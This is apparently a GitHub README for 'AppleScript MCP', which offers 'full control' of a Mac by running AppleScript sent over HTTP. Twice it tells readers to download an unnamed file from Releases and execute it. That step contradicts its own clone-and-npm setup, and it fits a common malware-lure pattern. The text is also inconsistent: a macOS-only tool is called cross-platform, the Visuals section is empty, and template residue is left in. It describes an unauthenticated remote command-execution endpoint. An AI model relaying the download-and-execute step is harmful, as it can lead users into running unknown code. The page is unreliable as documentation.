🍏 AppleScript MCP: Full Control of Your Mac

Welcome to the AppleScript MCP repository! This project allows you to run AppleScript commands through an MCP server, giving you complete control over your macOS environment. Whether you're automating tasks, controlling applications, or managing system settings, this tool provides a powerful way to interact with your Mac.

🚀 Features

• Execute AppleScripts: Run your AppleScript commands seamlessly.
• MCP Server: Easily set up a server that listens for commands.
• Full Control: Manage your Mac’s applications and settings from anywhere.
• Cross-Platform: Works with various devices that can send HTTP requests.

📦 Getting Started

To get started with the AppleScript MCP, follow these steps:

1. Clone the Repository:

   git clone https://github.com/Hassanali4/applescript-mcp.git
   cd applescript-mcp
   

2. Download and Execute: Head over to the Releases section to download the latest version. Make sure to execute the downloaded file to start the server.

3. Run the MCP Server: After executing the file, your MCP server will start. You can now send AppleScript commands to your Mac.

🔧 Installation

Prerequisites

• macOS: This tool is designed for macOS systems.
• Node.js: Ensure you have Node.js installed. You can download it from nodejs.org.

Installation Steps

1. Install Dependencies:

   npm install
   

2. Start the Server:

   npm start
   

Usage

Once the server is running, you can send AppleScript commands using HTTP requests. Here’s an example using curl:

curl -X POST http://localhost:3000/execute -d 'tell application "Finder" to make new folder at desktop with properties {name:"New Folder"}'

This command will create a new folder on your desktop named "New Folder".

📜 Documentation

For detailed documentation on how to use AppleScript MCP, please refer to the Wiki.

🛠️ Contributing

We welcome contributions! If you have suggestions, bug fixes, or new features, please open an issue or submit a pull request.

Steps to Contribute

1. Fork the Repository: Click the "Fork" button on the top right of the repository page.
2. Create a New Branch:

   git checkout -b feature/YourFeatureName
   

3. Make Your Changes: Edit the files as needed.
4. Commit Your Changes:

   git commit -m "Add your message here"
   

5. Push to Your Branch:

   git push origin feature/YourFeatureName
   

6. Open a Pull Request: Go to the original repository and click "New Pull Request".

🗂️ Topics

• AppleScript: A scripting language for automating tasks on macOS.
• macOS: The operating system for Apple computers.
• MCP: A server that allows communication between devices and applications.
• MCP Server: A server setup that listens for commands and executes them.

📈 Releases

To find the latest releases, visit the Releases section. Download the appropriate file and execute it to get started.

🎨 Visuals

Here are some images that represent the essence of this project:

📞 Support

If you encounter any issues or have questions, feel free to reach out via the Issues tab on GitHub. We are here to help!

🔗 Links

• GitHub Repository
• Documentation
• Releases

🎉 Acknowledgments

We would like to thank the open-source community for their contributions and support. Your efforts make projects like this possible.

📝 License

This project is licensed under the MIT License. See the LICENSE file for more details.

Feel free to modify the content as needed. Happy scripting! 🍏